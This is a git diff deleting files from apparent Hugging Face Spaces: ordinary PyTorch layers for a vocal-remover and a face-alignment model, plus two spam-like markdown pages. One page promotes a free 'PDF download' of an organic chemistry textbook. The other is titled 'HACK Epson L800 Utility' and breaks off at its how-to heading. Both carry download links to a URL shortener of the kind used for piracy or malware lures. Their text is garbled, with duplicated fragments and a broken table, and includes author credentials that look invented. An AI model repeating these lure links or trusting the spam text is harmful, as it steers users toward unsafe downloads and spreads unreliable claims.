-        self.conv = Conv2DBNActiv(nin, nout, ksize, 1, pad, activ=activ)
-        self.dropout = nn.Dropout2d(0.1) if dropout else None
-
-    def __call__(self, x, skip=None):
-        x = F.interpolate(x, scale_factor=2, mode="bilinear", align_corners=True)
-        if skip is not None:
-            skip = spec_utils.crop_center(skip, x)
-            x = torch.cat([x, skip], dim=1)
-        h = self.conv(x)
-
-        if self.dropout is not None:
-            h = self.dropout(h)
-
-        return h
-
-
-class ASPPModule(nn.Module):
-    def __init__(self, nin, nout, dilations=(4, 8, 16, 32, 64), activ=nn.ReLU):
-        super(ASPPModule, self).__init__()
-        self.conv1 = nn.Sequential(
-            nn.AdaptiveAvgPool2d((1, None)),
-            Conv2DBNActiv(nin, nin, 1, 1, 0, activ=activ),
-        )
-        self.conv2 = Conv2DBNActiv(nin, nin, 1, 1, 0, activ=activ)
-        self.conv3 = SeperableConv2DBNActiv(
-            nin, nin, 3, 1, dilations[0], dilations[0], activ=activ
-        )
-        self.conv4 = SeperableConv2DBNActiv(
-            nin, nin, 3, 1, dilations[1], dilations[1], activ=activ
-        )
-        self.conv5 = SeperableConv2DBNActiv(
-            nin, nin, 3, 1, dilations[2], dilations[2], activ=activ
-        )
-        self.conv6 = SeperableConv2DBNActiv(
-            nin, nin, 3, 1, dilations[2], dilations[2], activ=activ
-        )
-        self.conv7 = SeperableConv2DBNActiv(
-            nin, nin, 3, 1, dilations[2], dilations[2], activ=activ
-        )
-        self.bottleneck = nn.Sequential(
-            Conv2DBNActiv(nin * 7, nout, 1, 1, 0, activ=activ), nn.Dropout2d(0.1)
-        )
-
-    def forward(self, x):
-        _, _, h, w = x.size()
-        feat1 = F.interpolate(
-            self.conv1(x), size=(h, w), mode="bilinear", align_corners=True
-        )
-        feat2 = self.conv2(x)
-        feat3 = self.conv3(x)
-        feat4 = self.conv4(x)
-        feat5 = self.conv5(x)
-        feat6 = self.conv6(x)
-        feat7 = self.conv7(x)
-        out = torch.cat((feat1, feat2, feat3, feat4, feat5, feat6, feat7), dim=1)
-        bottle = self.bottleneck(out)
-        return bottle
diff --git a/spaces/r3gm/Ultimate-Vocal-Remover-WebUI/lib_v5/vr_network/layers.py b/spaces/r3gm/Ultimate-Vocal-Remover-WebUI/lib_v5/vr_network/layers.py
deleted file mode 100644
index 5913484a58f5a2f2bf780d6db980885d87950ba4..0000000000000000000000000000000000000000
--- a/spaces/r3gm/Ultimate-Vocal-Remover-WebUI/lib_v5/vr_network/layers.py
+++ /dev/null
@@ -1,143 +0,0 @@
-import torch
-from torch import nn
-import torch.nn.functional as F
-
-from lib_v5 import spec_utils
-
-class Conv2DBNActiv(nn.Module):
-
-    def __init__(self, nin, nout, ksize=3, stride=1, pad=1, dilation=1, activ=nn.ReLU):
-        super(Conv2DBNActiv, self).__init__()
-        self.conv = nn.Sequential(
-            nn.Conv2d(
-                nin, nout,
-                kernel_size=ksize,
-                stride=stride,
-                padding=pad,
-                dilation=dilation,
-                bias=False),
-            nn.BatchNorm2d(nout),
-            activ()
-        )
-
-    def __call__(self, x):
-        return self.conv(x)
-
-class SeperableConv2DBNActiv(nn.Module):
-
-    def __init__(self, nin, nout, ksize=3, stride=1, pad=1, dilation=1, activ=nn.ReLU):
-        super(SeperableConv2DBNActiv, self).__init__()
-        self.conv = nn.Sequential(
-            nn.Conv2d(
-                nin, nin,
-                kernel_size=ksize,
-                stride=stride,
-                padding=pad,
-                dilation=dilation,
-                groups=nin,
-                bias=False),
-            nn.Conv2d(
-                nin, nout,
-                kernel_size=1,
-                bias=False),
-            nn.BatchNorm2d(nout),
-            activ()
-        )
-
-    def __call__(self, x):
-        return self.conv(x)
-
-
-class Encoder(nn.Module):
-
-    def __init__(self, nin, nout, ksize=3, stride=1, pad=1, activ=nn.LeakyReLU):
-        super(Encoder, self).__init__()
-        self.conv1 = Conv2DBNActiv(nin, nout, ksize, 1, pad, activ=activ)
-        self.conv2 = Conv2DBNActiv(nout, nout, ksize, stride, pad, activ=activ)
-
-    def __call__(self, x):
-        skip = self.conv1(x)
-        h = self.conv2(skip)
-
-        return h, skip
-
-
-class Decoder(nn.Module):
-
-    def __init__(self, nin, nout, ksize=3, stride=1, pad=1, activ=nn.ReLU, dropout=False):
-        super(Decoder, self).__init__()
-        self.conv = Conv2DBNActiv(nin, nout, ksize, 1, pad, activ=activ)
-        self.dropout = nn.Dropout2d(0.1) if dropout else None
-
-    def __call__(self, x, skip=None):
-        x = F.interpolate(x, scale_factor=2, mode='bilinear', align_corners=True)
-        if skip is not None:
-            skip = spec_utils.crop_center(skip, x)
-            x = torch.cat([x, skip], dim=1)
-        h = self.conv(x)
-
-        if self.dropout is not None:
-            h = self.dropout(h)
-
-        return h
-
-
-class ASPPModule(nn.Module):
-
-    def __init__(self, nn_architecture, nin, nout, dilations=(4, 8, 16), activ=nn.ReLU):
-        super(ASPPModule, self).__init__()
-        self.conv1 = nn.Sequential(
-            nn.AdaptiveAvgPool2d((1, None)),
-            Conv2DBNActiv(nin, nin, 1, 1, 0, activ=activ)
-        )
-        
-        self.nn_architecture = nn_architecture
-        self.six_layer = [129605]
-        self.seven_layer = [537238, 537227, 33966]
-        
-        extra_conv = SeperableConv2DBNActiv(
-            nin, nin, 3, 1, dilations[2], dilations[2], activ=activ)
-        
-        self.conv2 = Conv2DBNActiv(nin, nin, 1, 1, 0, activ=activ)
-        self.conv3 = SeperableConv2DBNActiv(
-            nin, nin, 3, 1, dilations[0], dilations[0], activ=activ)
-        self.conv4 = SeperableConv2DBNActiv(
-            nin, nin, 3, 1, dilations[1], dilations[1], activ=activ)
-        self.conv5 = SeperableConv2DBNActiv(
-            nin, nin, 3, 1, dilations[2], dilations[2], activ=activ)
-        
-        if self.nn_architecture in self.six_layer:
-            self.conv6 = extra_conv
-            nin_x = 6
-        elif self.nn_architecture in self.seven_layer:
-            self.conv6 = extra_conv
-            self.conv7 = extra_conv
-            nin_x = 7
-        else:
-            nin_x = 5
-            
-        self.bottleneck = nn.Sequential(
-            Conv2DBNActiv(nin * nin_x, nout, 1, 1, 0, activ=activ),
-            nn.Dropout2d(0.1)
-        )
-
-    def forward(self, x):
-        _, _, h, w = x.size()
-        feat1 = F.interpolate(self.conv1(x), size=(h, w), mode='bilinear', align_corners=True)
-        feat2 = self.conv2(x)
-        feat3 = self.conv3(x)
-        feat4 = self.conv4(x)
-        feat5 = self.conv5(x)
-        
-        if self.nn_architecture in self.six_layer:
-            feat6 = self.conv6(x)
-            out = torch.cat((feat1, feat2, feat3, feat4, feat5, feat6), dim=1)
-        elif self.nn_architecture in self.seven_layer:
-            feat6 = self.conv6(x)
-            feat7 = self.conv7(x)
-            out = torch.cat((feat1, feat2, feat3, feat4, feat5, feat6, feat7), dim=1)
-        else:
-            out = torch.cat((feat1, feat2, feat3, feat4, feat5), dim=1)
-            
-        bottle = self.bottleneck(out)
-        return bottle
diff --git a/spaces/r3gm/Ultimate-Vocal-Remover-WebUI/lib_v5/vr_network/nets_new.py b/spaces/r3gm/Ultimate-Vocal-Remover-WebUI/lib_v5/vr_network/nets_new.py
deleted file mode 100644
index db8260a8e8b8b7d0ebd6b54a43eff76eaea08e94..0000000000000000000000000000000000000000
--- a/spaces/r3gm/Ultimate-Vocal-Remover-WebUI/lib_v5/vr_network/nets_new.py
+++ /dev/null
@@ -1,125 +0,0 @@
-import torch
-from torch import nn
-import torch.nn.functional as F
-from . import layers_new as layers
-
-class BaseNet(nn.Module):
-
-    def __init__(self, nin, nout, nin_lstm, nout_lstm, dilations=((4, 2), (8, 4), (12, 6))):
-        super(BaseNet, self).__init__()
-        self.enc1 = layers.Conv2DBNActiv(nin, nout, 3, 1, 1)
-        self.enc2 = layers.Encoder(nout, nout * 2, 3, 2, 1)
-        self.enc3 = layers.Encoder(nout * 2, nout * 4, 3, 2, 1)
-        self.enc4 = layers.Encoder(nout * 4, nout * 6, 3, 2, 1)
-        self.enc5 = layers.Encoder(nout * 6, nout * 8, 3, 2, 1)
-
-        self.aspp = layers.ASPPModule(nout * 8, nout * 8, dilations, dropout=True)
-
-        self.dec4 = layers.Decoder(nout * (6 + 8), nout * 6, 3, 1, 1)
-        self.dec3 = layers.Decoder(nout * (4 + 6), nout * 4, 3, 1, 1)
-        self.dec2 = layers.Decoder(nout * (2 + 4), nout * 2, 3, 1, 1)
-        self.lstm_dec2 = layers.LSTMModule(nout * 2, nin_lstm, nout_lstm)
-        self.dec1 = layers.Decoder(nout * (1 + 2) + 1, nout * 1, 3, 1, 1)
-
-    def __call__(self, x):
-        e1 = self.enc1(x)
-        e2 = self.enc2(e1)
-        e3 = self.enc3(e2)
-        e4 = self.enc4(e3)
-        e5 = self.enc5(e4)
-
-        h = self.aspp(e5)
-
-        h = self.dec4(h, e4)
-        h = self.dec3(h, e3)
-        h = self.dec2(h, e2)
-        h = torch.cat([h, self.lstm_dec2(h)], dim=1)
-        h = self.dec1(h, e1)
-
-        return h
-
-class CascadedNet(nn.Module):
-
-    def __init__(self, n_fft, nn_arch_size, nout=32, nout_lstm=128):
-        super(CascadedNet, self).__init__()
-
-        self.max_bin = n_fft // 2
-        self.output_bin = n_fft // 2 + 1
-        self.nin_lstm = self.max_bin // 2
-        self.offset = 64
-        nout = 64 if nn_arch_size == 218409 else nout
-
-        self.stg1_low_band_net = nn.Sequential(
-            BaseNet(2, nout // 2, self.nin_lstm // 2, nout_lstm),
-            layers.Conv2DBNActiv(nout // 2, nout // 4, 1, 1, 0)
-            )
-        
-        self.stg1_high_band_net = BaseNet(2, nout // 4, self.nin_lstm // 2, nout_lstm // 2)
-
-        self.stg2_low_band_net = nn.Sequential(
-            BaseNet(nout // 4 + 2, nout, self.nin_lstm // 2, nout_lstm),
-            layers.Conv2DBNActiv(nout, nout // 2, 1, 1, 0)
-            )
-        self.stg2_high_band_net = BaseNet(nout // 4 + 2, nout // 2, self.nin_lstm // 2, nout_lstm // 2)
-
-        self.stg3_full_band_net = BaseNet(3 * nout // 4 + 2, nout, self.nin_lstm, nout_lstm)
-
-        self.out = nn.Conv2d(nout, 2, 1, bias=False)
-        self.aux_out = nn.Conv2d(3 * nout // 4, 2, 1, bias=False)
-
-    def forward(self, x):
-        x = x[:, :, :self.max_bin]
-
-        bandw = x.size()[2] // 2
-        l1_in = x[:, :, :bandw]
-        h1_in = x[:, :, bandw:]
-        l1 = self.stg1_low_band_net(l1_in)
-        h1 = self.stg1_high_band_net(h1_in)
-        aux1 = torch.cat([l1, h1], dim=2)
-
-        l2_in = torch.cat([l1_in, l1], dim=1)
-        h2_in = torch.cat([h1_in, h1], dim=1)
-        l2 = self.stg2_low_band_net(l2_in)
-        h2 = self.stg2_high_band_net(h2_in)
-        aux2 = torch.cat([l2, h2], dim=2)
-
-        f3_in = torch.cat([x, aux1, aux2], dim=1)
-        f3 = self.stg3_full_band_net(f3_in)
-
-        mask = torch.sigmoid(self.out(f3))
-        mask = F.pad(
-            input=mask,
-            pad=(0, 0, 0, self.output_bin - mask.size()[2]),
-            mode='replicate'
-        )
-
-        if self.training:
-            aux = torch.cat([aux1, aux2], dim=1)
-            aux = torch.sigmoid(self.aux_out(aux))
-            aux = F.pad(
-                input=aux,
-                pad=(0, 0, 0, self.output_bin - aux.size()[2]),
-                mode='replicate'
-            )
-            return mask, aux
-        else:
-            return mask
-
-    def predict_mask(self, x):
-        mask = self.forward(x)
-
-        if self.offset > 0:
-            mask = mask[:, :, :, self.offset:-self.offset]
-            assert mask.size()[3] > 0
-
-        return mask
-
-    def predict(self, x):
-        mask = self.forward(x)
-        pred_mag = x * mask
-
-        if self.offset > 0:
-            pred_mag = pred_mag[:, :, :, self.offset:-self.offset]
-            assert pred_mag.size()[3] > 0
-
-        return pred_mag
diff --git a/spaces/radames/SPIGA-face-alignment-headpose-estimator/SPIGA/spiga/models/cnn/hourglass.py b/spaces/radames/SPIGA-face-alignment-headpose-estimator/SPIGA/spiga/models/cnn/hourglass.py
deleted file mode 100644
index c3fb01c410c8df97c1ab0e2ab82b0b0ba04dcc91..0000000000000000000000000000000000000000
--- a/spaces/radames/SPIGA-face-alignment-headpose-estimator/SPIGA/spiga/models/cnn/hourglass.py
+++ /dev/null
@@ -1,53 +0,0 @@
-import torch.nn as nn
-
-from spiga.models.cnn.layers import Conv, Deconv, Residual
-
-
-class Hourglass(nn.Module):
-    def __init__(self, n, f, bn=None, increase=0):
-        super(Hourglass, self).__init__()
-        nf = f + increase
-        self.up1 = Residual(f, f)
-        # Lower branch
-        self.pool1 = Conv(f, f, 2, 2,  bn=True, relu=True)
-        self.low1 = Residual(f, nf)
-        self.n = n
-        # Recursive hourglass
-        if self.n > 1:
-            self.low2 = Hourglass(n - 1, nf, bn=bn)
-        else:
-            self.low2 = Residual(nf, nf)
-        self.low3 = Residual(nf, f)
-        self.up2 = Deconv(f, f, 2, 2, bn=True, relu=True)
-
-    def forward(self, x):
-        up1 = self.up1(x)
-        pool1 = self.pool1(x)
-        low1 = self.low1(pool1)
-        low2 = self.low2(low1)
-        low3 = self.low3(low2)
-        up2 = self.up2(low3)
-        return up1 + up2
-
-
-class HourglassCore(Hourglass):
-    def __init__(self, n, f, bn=None, increase=0):
-        super(HourglassCore, self).__init__(n, f, bn=bn, increase=increase)
-        nf = f + increase
-        if self.n > 1:
-            self.low2 = HourglassCore(n - 1, nf, bn=bn)
-
-    def forward(self, x, core=[]):
-        up1 = self.up1(x)
-        pool1 = self.pool1(x)
-        low1 = self.low1(pool1)
-        if self.n > 1:
-            low2, core = self.low2(low1, core=core)
-        else:
-            low2 = self.low2(low1)
-            core.append(low2)
-        low3 = self.low3(low2)
-        if self.n > 1:
-            core.append(low3)
-        up2 = self.up2(low3)
-        return up1 + up2, core
diff --git a/spaces/raedeXanto/academic-chatgpt-beta/Download Biasioli Weitz Quimica Organica PDF and Learn the Fundamentals of Carbon Compounds.md b/spaces/raedeXanto/academic-chatgpt-beta/Download Biasioli Weitz Quimica Organica PDF and Learn the Fundamentals of Carbon Compounds.md
deleted file mode 100644
index 34d484f84893d60e894d92384c7f4b50c56fb82c..0000000000000000000000000000000000000000
--- a/spaces/raedeXanto/academic-chatgpt-beta/Download Biasioli Weitz Quimica Organica PDF and Learn the Fundamentals of Carbon Compounds.md	
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@@ -1,164 +0,0 @@
-<br />
-<h1>Biasioli Weitz Quimica Organica PDF Download: A Comprehensive Guide</h1>
- <p>If you are looking for a reliable and comprehensive textbook on organic chemistry, you might want to consider Biasioli Weitz Quimica Organica. This book covers all the essential topics and concepts of organic chemistry in a clear and concise way. It also provides numerous examples, exercises, and problems to help you master the subject. In this guide, we will show you what Biasioli Weitz Quimica Organica is, why you should download it as a PDF file, and how you can use it effectively.</p>
-<h2>biasioli weitz quimica organica pdf download</h2><br /><p><b><b>Download File</b> > <a href="https://tinourl.com/2uL0QE">https://tinourl.com/2uL0QE</a></b></p><br /><br />
- <h2>What is Biasioli Weitz Quimica Organica?</h2>
- <p>Biasioli Weitz Quimica Organica is a textbook on organic chemistry written by G.A. de Biasioli, C.G.B. de Weitz, and D.O.T. de Chandias. It was first published in 1988 by Kapelusz Editora S.A. in Argentina. It has been widely used by students and teachers of organic chemistry in Latin America and other countries.</p>
- <h3>A textbook on organic chemistry</h3>
- <p>Organic chemistry is the branch of chemistry that deals with the structure, properties, reactions, and synthesis of organic compounds, which are those that contain carbon atoms. Organic chemistry is essential for understanding many fields of science and technology, such as biology, medicine, pharmacy, agriculture, engineering, and more.</p>
- <p>Biasioli Weitz Quimica Organica covers all the fundamental topics and concepts of organic chemistry, such as:</p>
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- <ul>
-<li>The structure and bonding of organic molecules</li>
-<li>The nomenclature and classification of organic compounds</li>
-<li>The stereochemistry and conformation of organic molecules</li>
-<li>The mechanisms and kinetics of organic reactions</li>
-<li>The functional groups and their reactions</li>
-<li>The synthesis and analysis of organic compounds</li>
-<li>The natural products and biomolecules derived from organic compounds</li>
-</ul>
- <p>The book also includes special topics such as:</p>
- <ul>
-<li>The spectroscopy and spectrometry of organic compounds</li>
-<li>The polymers and plastics made from organic compounds</li>
-<li>The drugs and medicines derived from organic compounds</li>
-<li>The environmental impact of organic compounds</li>
-</ul>
- <h3>The authors and their credentials</h3>
- <p>The authors of Biasioli Weitz Quimica Organica are well-known experts in the field of organic chemistry. They have extensive experience in teaching and researching organic chemistry at various universities and institutions in Argentina.</p>
- <p>G.A. de Biasioli is a professor emeritus of organic chemistry at the University of Buenos Aires. He has authored several books and articles on organic chemistry and has received many awards and honors for his contributions to science.</p>
- <p>C.G.B. de Weitz is a professor of organic chemistry at the National University of La Plata. She has also taught at other universities in Argentina and abroad. She has published many papers on organic chemistry and has participated in several national and international scientific events.</p>
- <p>D.O.T. de Chandias is a professor of organic chemistry at the National University of Cordoba. He has also worked as a researcher at various institutes and laboratories in Argentina. He has written many books and papers on organic chemistry and has been involved in several scientific projects.</p>
- <h3>The main topics and features of the book</h3>
- <p>Biasioli Weitz Quimica Organica is divided into 18 chapters that cover all the main topics of organic chemistry. Each chapter consists of:</p>
- <ul>
-<li>An introduction that summarizes the objectives and contents of the chapter</li>
-<li>A theoretical section that explains the concepts and principles of the topic</li>
-<li>An experimental section that describes the methods and techniques used to study or perform the topic</li>
-<li>A problem-solving section that provides examples, exercises, and problems to practice or test your knowledge of the topic</li>
-<li>A summary that reviews the main points and terms of the chapter</li>
-<li>A bibliography that lists the references and sources used or consulted for the chapter</li>
-</ul>
- <p>The book also features:</p>
- <ul>
-<li>Many illustrations, diagrams, tables, charts, graphs, formulas, equations, symbols, abbreviations, units, etc., that help you visualize or understand the topic better</li>
-<li>Many color photographs that show you real-life examples or applications of organic compounds or reactions</li>
-<li>Many boxes or insets that provide additional information or explanations on certain topics or terms</li>
-<li>A glossary that defines all the important terms used in the book</li>
-<li>An index that helps you find any topic or term quickly in the book</li>
-</ul>
- <h2>Why should you download Biasioli Weitz Quimica Organica PDF?</h2>
- <p>If you are interested in learning or teaching organic chemistry, you might want to download Biasioli Weitz Quimica Organica as a PDF file. There are many benefits of downloading the PDF version of this book:</p>
- <h3>The benefits of downloading the PDF version</h3>
- <ul>
-<li>You can access it anytime, anywhere, on any device that supports PDF files (such as computers, tablets, smartphones, e-readers, etc.) without needing an internet connection or a physical copy.</li>
-<li>You can save it on your device or cloud storage for future reference or backup.</li>
-<li>You can print it out if you prefer to read it on paper or need to take notes or highlight important parts.</li>
-<li>You can zoom in or out if you need to adjust the size or clarity of the text or images.</li>
-<li>You can search for any word or phrase if you need to find something quickly or easily.</li>
-<li>You can bookmark any page or section if you need to mark something important or return to it later.</li>
-<li>You can copy or paste any text or image if you need to use it for another purpose (such as writing a report or presentation).</li>
-<li>You can share it with others if you need to collaborate or communicate with them (such as classmates, teachers, colleagues, friends, etc.).</li>
-</ul>
- <h3>The sources and links to download the PDF version</h3>
- <p>There are many sources and links where you can download Biasioli Weitz Quimica Organica as a PDF file. Some of them are:</p>
- <table style="border-collapse: collapse; width: 100%;">
-<tbody>
-<tr style="height: 18px;">
-<td style="width: 50%; height: 18px; border: 1px solid black;">Source/Link</td>
-<td style="width: 50%; height: 18px; border: 1px solid black;">Description/Features</td>
-</tr>
-<tr style="height: 18px;">
-<td style="width: 50%; height: 18px; border: 1px solid black;">Scribd</td>
-<h3>The tips and precautions to download the PDF version safely</h3>
- <p>While downloading Biasioli Weitz Quimica Organica as a PDF file can be convenient and beneficial, you should also be careful and cautious when doing so. Here are some tips and precautions to download the PDF version safely:</p>
- <ul>
-<li>Make sure you download the PDF file from a reputable and trustworthy source or link. Avoid any suspicious or unknown sites or links that might contain viruses, malware, spyware, or other harmful software.</li>
-<li>Make sure you have a reliable and updated antivirus or anti-malware program on your device. Scan the PDF file before opening or using it to ensure that it is clean and safe.</li>
-<li>Make sure you have enough storage space on your device or cloud storage to save the PDF file. The PDF file of Biasioli Weitz Quimica Organica is about 59 MB in size, so you need to have at least that much free space available.</li>
-<li>Make sure you have a stable and fast internet connection to download the PDF file. The download time may vary depending on your connection speed and the traffic on the source or link.</li>
-<li>Make sure you respect the copyright and intellectual property rights of the authors and publishers of Biasioli Weitz Quimica Organica. Do not distribute, share, copy, or reproduce the PDF file without their permission or authorization.</li>
-</ul>
- <h2>How can you use Biasioli Weitz Quimica Organica PDF effectively?</h2>
- <p>Once you have downloaded Biasioli Weitz Quimica Organica as a PDF file, you can use it effectively for learning or teaching organic chemistry. Here are some ways to use Biasioli Weitz Quimica Organica PDF effectively:</p>
- <h3>The best ways to read and study the PDF version</h3>
- <ul>
-<li>Read the introduction and summary of each chapter to get an overview of the objectives and contents of the chapter.</li>
-<li>Read the theoretical section of each chapter to understand the concepts and principles of the topic.</li>
-<li>Read the experimental section of each chapter to learn the methods and techniques used to study or perform the topic.</li>
-<li>Read the problem-solving section of each chapter to practice or test your knowledge of the topic.</li>
-<li>Use the illustrations, diagrams, tables, charts, graphs, formulas, equations, symbols, abbreviations, units, etc., to visualize or understand the topic better.</li>
-<li>Use the color photographs to see real-life examples or applications of organic compounds or reactions.</li>
-<li>Use the boxes or insets to get additional information or explanations on certain topics or terms.</li>
-<li>Use the glossary to define all the important terms used in the book.</li>
-<li>Use the index to find any topic or term quickly in the book.</li>
-</ul>
- <h3>The supplementary materials and resources to enhance your learning</h3>
- <ul>
-<li>Use the bibliography to find more references and sources on organic chemistry.</li>
-<li>Use online platforms such as Scribd or Trello to access more files or documents related to Biasioli Weitz Quimica Organica or organic chemistry.</li>
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-<li>Use online platforms such as Google Classroom or Moodle to create or join online classes on Biasioli Weitz Quimica Organica or organic chemistry.</li>
-</ul>
- <h3>The practical applications and examples of organic chemistry from the book</h3>
- <ul>
-<li>Apply what you have learned from Biasioli Weitz Quimica Organica to solve real-world problems or challenges related to organic chemistry.</li>
-<li>Analyze how organic compounds or reactions affect various aspects of life, such as health, environment, industry, agriculture, etc.</li>
-<li>Create your own organic compounds or reactions using the methods and techniques learned from Biasioli Weitz Quimica Organica.</li>
-<li>Demonstrate your understanding of organic chemistry by explaining how organic compounds or reactions work in simple terms.</li>
-<li>Inspire yourself by learning about the discoveries and inventions made by famous organic chemists such as Friedrich Wöhler, Louis Pasteur, Emil Fischer, Robert Woodward, etc.</li>
-</ul>
- <h2>Conclusion</h2>
- <p>Biasioli Weitz Quimica Organica is a textbook on organic chemistry that covers all the essential topics and concepts of organic chemistry in a clear and concise way. It also provides numerous examples, exercises, and problems to help you master the subject. You can download it as a PDF file from various sources and links. You can also use it effectively for learning or teaching organic chemistry by following some tips and precautions. You can also enhance your learning by using supplementary materials and resources. You can also apply what you have learned from Biasioli Weitz Quimica Organica to practical applications and examples of organic chemistry. By downloading and using Biasioli Weitz Quimica Organica PDF, you can learn organic chemistry in a convenient and comprehensive way.</p>
- <h3>A call to action to download the PDF version</h3>
- <p>If you are interested in learning or teaching organic chemistry, don't hesitate to download Biasioli Weitz Quimica Organica as a PDF file. You will not regret it. You will get access to a reliable and comprehensive textbook on organic chemistry that will help you understand and master this fascinating subject. You will also get access to many features and benefits that will make your learning experience easier and more enjoyable. You will also get access to many resources and materials that will enhance your learning further. You will also get access to many applications and examples that will show you how organic chemistry is relevant and useful in real life. So what are you waiting for? Download Biasioli Weitz Quimica Organica PDF now and start learning organic chemistry today!</p>
- <h3>FAQs</h3>
- <ul>
-<li><strong>Q: How can I download Biasioli Weitz Quimica Organica PDF for free?</strong></li>
-<li>A: You can download Biasioli Weitz Quimica Organica PDF for free from Scribd, which is a digital library that hosts millions of books, documents, audiobooks, podcasts, etc., that you can read online or download as PDF files. You need to sign up for a free trial or a subscription plan to access unlimited downloads. You can also upload your own files or share them with others.</li>
-<li><strong>Q: How can I print Biasioli Weitz Quimica Organica PDF?</strong></li>
-<li>A: You can print Biasioli Weitz Quimica Organica PDF if you prefer to read it on paper or need to take notes or highlight important parts. To print it, you need to open it with a PDF reader program (such as Adobe Acrobat Reader) on your device. Then you need to select File > Print from the menu bar. Then you need to choose your printer settings (such as paper size, orientation, quality, etc.) and click Print.</li>
-<li><strong>Q: How can I share Biasioli Weitz Quimica Organica PDF with others?</strong></li>
-to open it with a PDF reader program (such as Adobe Acrobat Reader) on your device. Then you need to select File > Share from the menu bar. Then you need to choose your sharing option (such as email, cloud, social media, etc.) and follow the instructions.</li>
-<li><strong>Q: How can I search for any word or phrase in Biasioli Weitz Quimica Organica PDF?</strong></li>
-<li>A: You can search for any word or phrase in Biasioli Weitz Quimica Organica PDF if you need to find something quickly or easily. To search for it, you need to open it with a PDF reader program (such as Adobe Acrobat Reader) on your device. Then you need to press Ctrl+F on your keyboard (or Command+F on Mac) to open the Find dialog box. Then you need to type the word or phrase you are looking for and press Enter. The program will highlight all the occurrences of the word or phrase in the PDF file.</li>
-<li><strong>Q: How can I bookmark any page or section in Biasioli Weitz Quimica Organica PDF?</strong></li>
-<li>A: You can bookmark any page or section in Biasioli Weitz Quimica Organica PDF if you need to mark something important or return to it later. To bookmark it, you need to open it with a PDF reader program (such as Adobe Acrobat Reader) on your device. Then you need to select View > Bookmarks from the menu bar. Then you need to click the Add Bookmark icon on the toolbar. Then you need to type a name for your bookmark and press Enter.</li>
-</ul>
- </p> 0a6ba089eb<br />
-<br />
-<br />
\ No newline at end of file
diff --git a/spaces/raedeXanto/academic-chatgpt-beta/HACK Epson L800 Utility.md b/spaces/raedeXanto/academic-chatgpt-beta/HACK Epson L800 Utility.md
deleted file mode 100644
index f4247ced6c6d869ba538b0217b735ed77b8cefc2..0000000000000000000000000000000000000000
--- a/spaces/raedeXanto/academic-chatgpt-beta/HACK Epson L800 Utility.md	
+++ /dev/null
@@ -1,94 +0,0 @@
-
-<table>
-<tr>
-<td>
-<h1>HACK Epson L800 Utility: What, Why, and How</h1>
-<p>If you own an Epson L800 printer, you may have heard of a software tool called <strong>Epson L800 Utility</strong>. This tool allows you to perform various functions on your printer, such as checking ink levels, cleaning print heads, resetting counters, updating firmware, and more.</p>
-<p>But did you <p>But did you know that some people have found ways to <strong>hack</strong> Epson L800 Utility and modify its settings and features? This can be done for various reasons, such as saving money on ink, resolving errors, or unlocking hidden functions.</p>
-<h2>HACK Epson L800 Utility</h2><br /><p><b><b>DOWNLOAD</b> &#9889; <a href="https://tinourl.com/2uL1oi">https://tinourl.com/2uL1oi</a></b></p><br /><br />
-<p>In this article, we will explain what Epson L800 Utility is, why someone might want to hack it, and how to do it. We will also discuss the benefits and risks of hacking Epson L800 Utility, and some alternatives that you can consider instead. By the end of this article, you will have a better understanding of this topic and be able to make an informed decision for yourself.</p>
-<h2>What is Epson L800 Utility?</h2>
-<p>Epson L800 Utility is a software tool that comes with the <strong>Epson L800 printer</strong>. The Epson L800 printer is a color inkjet printer that uses a continuous ink supply system (CISS) to provide high-quality and low-cost printing. It has six individual ink tanks that can be refilled easily and cheaply with original Epson ink bottles. It also has a built-in CD/DVD tray that allows you to print directly on discs.</p>
-<p>The Epson L800 Utility allows you to perform various functions on your printer, such as:</p>
-<ul>
-<li>Checking ink levels and status</li>
-<li>Cleaning print heads and aligning nozzles</li>
-<li>Resetting counters and waste ink pads</li>
-<li>Updating firmware and drivers</li>
-<li>Changing network and security settings</li>
-<li>Printing test pages and reports</li>
-<li>Troubleshooting errors and problems</li>
-<li>And more...</li>
-</ul>
-<p>You can access the Epson L800 Utility from your computer or mobile device by connecting to your printer via USB, Wi-Fi, or Ethernet. You can also download the latest version of the utility from the official website of Epson .</p>
-<h2>Why hack Epson L800 Utility?</h2>
-<h3>Benefits of hacking Epson L800 Utility</h3>
-<p>Hacking Epson L800 Utility can have some potential benefits for users who want to get more out of their printer. Some of these benefits are:</p>
-<ul>
-<li><strong>Saving money on ink</strong>: By hacking Epson L800 Utility, you can reset the ink levels and counters of your printer, which means you can use any compatible ink bottles or cartridges without worrying about running out of ink or getting error messages. You can also adjust the ink density and quality settings to reduce ink consumption.</li>
-<li><strong>Resolving errors and problems</strong>: By hacking Epson L800 Utility, you can fix some common errors and problems that may occur with your printer, such as paper jam, print head clogging, waste ink pad overflow, communication failure, etc. You can also reset the firmware and drivers of your printer to the original or latest version.</li>
-<li><strong>Resetting counters and waste ink pads</strong>: By hacking Epson L800 Utility, you can reset the counters and waste ink pads of your printer, which are designed to prevent ink leakage and damage to your printer. However, these counters and pads have a limited lifespan and capacity, and once they reach their limit, your printer will stop working until you replace them or reset them. By resetting them, you can extend the life of your printer and avoid paying for expensive repairs or replacements.</li>
-<li><strong>Unlocking hidden functions</strong>: By hacking Epson L800 Utility, you can unlock some hidden functions that are not available in the normal mode of the utility, such as printing in draft mode, printing in grayscale mode, printing borderless photos, printing on different paper sizes and types, etc. You can also access some advanced settings and options that can improve the performance and functionality of your printer.</li>
-</ul>
-<h3>Risks of hacking Epson L800 Utility</h3>
-<p>Hacking Epson L800 Utility can also have some potential risks for users who want to try it. Some of these risks are:</p>
-<p></p>
-<ul>
-<li><strong>Voiding warranty</strong>: By hacking Epson L800 Utility, you may void the warranty of your printer, which means you will not be able to get any support or service from Epson in case of any issues or defects with your printer. You will also lose any benefits or discounts that come with the warranty.</li>
-<li><strong>Damaging printer</strong>: By hacking Epson L800 Utility, you may damage your printer or its components, such as print heads, ink tanks, sensors, motors, etc. This can result in poor print quality, ink leakage, paper jamming, noise, overheating, etc. You may also cause irreversible damage to your printer that cannot be fixed or repaired.</li>
-<li><strong> <li><strong>Exposing data</strong>: By hacking Epson L800 Utility, you may expose your data or information to hackers or malicious software, such as viruses, malware, spyware, etc. This can compromise your privacy, security, and identity. You may also lose your data or files that are stored on your printer or computer.</li>
-<li><strong>Breaking laws</strong>: By hacking Epson L800 Utility, you may break some laws or regulations that govern the use of software and hardware products, such as intellectual property rights, licensing agreements, terms of service, etc. This can result in legal consequences, such as fines, penalties, lawsuits, etc.</li>
-</ul>
-<h2>How to hack Epson L800 Utility?</h2>
